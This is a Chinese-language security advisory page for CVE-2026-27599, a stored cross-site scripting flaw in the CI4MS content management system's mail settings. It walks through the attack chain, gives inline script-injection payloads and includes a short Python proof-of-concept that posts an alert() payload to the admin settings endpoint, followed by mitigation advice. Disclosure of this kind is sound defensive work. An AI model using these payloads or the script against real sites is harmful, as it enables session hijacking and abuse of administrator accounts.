IPBUF安全漏洞报告
English
CVE-2026-27599 CVSS 4.7 中危

CVE-2026-27599 CI4MS存储型XSS漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-27599
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
CI4MS

相关标签

XSS存储型XSSCI4MSCodeIgniterWeb安全

漏洞概述

CI4MS是基于CodeIgniter 4的CMS系统,在0.31.0.0版本之前存在存储型XSS漏洞。攻击者需拥有高权限,在系统设置的邮件配置字段中注入恶意脚本,该脚本被存储并在页面加载时执行,危及浏览设置页面的用户安全。

技术细节

该漏洞位于CI4MS的系统设置——邮件设置模块中。应用程序未能对“邮件服务器”、“端口”、“邮箱地址”等用户可控的输入进行有效的过滤和清洗,且在将数据存储到服务端后,渲染页面时缺乏必要的输出编码。攻击者利用高权限账户登录系统后,可在上述字段中植入恶意的JavaScript代码。由于该漏洞为存储型XSS,恶意脚本会持久化存储在服务端。当管理员或其他用户访问受影响的系统设置页面时,嵌入的脚本将在其浏览器上下文中自动执行,可能导致Cookie窃取、会话劫持或进一步的管理员权限滥用。

攻击链分析

STEP 1
步骤1
攻击者获取目标CI4MS系统的高权限账户(管理员)凭据。
STEP 2
步骤2
攻击者登录后台,导航至“System Settings” -> “Mail Settings”页面。
STEP 3
步骤3
攻击者在“Mail Server”、“Email Address”等未经过滤的字段中输入恶意的JavaScript代码(如<img src=x onerror=alert(1)>)并保存。
STEP 4
步骤4
应用程序将恶意数据存储在服务端配置或数据库中。
STEP 5
步骤5
当管理员或其他用户随后访问该邮件设置页面时,服务器读取数据并直接渲染,恶意脚本在受害者浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Exploit Title: CI4MS < 0.31.0.0 - Stored XSS (Mail Settings) # Date: 2026-03-30 # Exploit Author: Analyst # Vendor Homepage: https://github.com/ci4-cms-erp/ci4ms # Version: < 0.31.0.0 import requests # Configuration target_url = "http://target.com/admin/settings/mail" session_cookie = "your_admin_session_cookie_here" # XSS Payload xss_payload = '"><script>alert(1);</script>' # Headers headers = { "Cookie": f"ci_session={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Vulnerable fields data payload_data = { "mail_server": xss_payload, "mail_port": "25", "email_address": "[email protected]", # ... other required fields } # Send request to inject payload response = requests.post(target_url, data=payload_data, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] Navigate to System Settings -> Mail Settings to trigger the XSS.") else: print("[-] Failed to inject payload.")

影响范围

CI4MS < 0.31.0.0

防御指南

临时缓解措施
在无法立即升级补丁的情况下,建议限制对系统设置页面的访问权限,仅允许必要的管理员访问,并定期审计系统配置数据中的异常内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表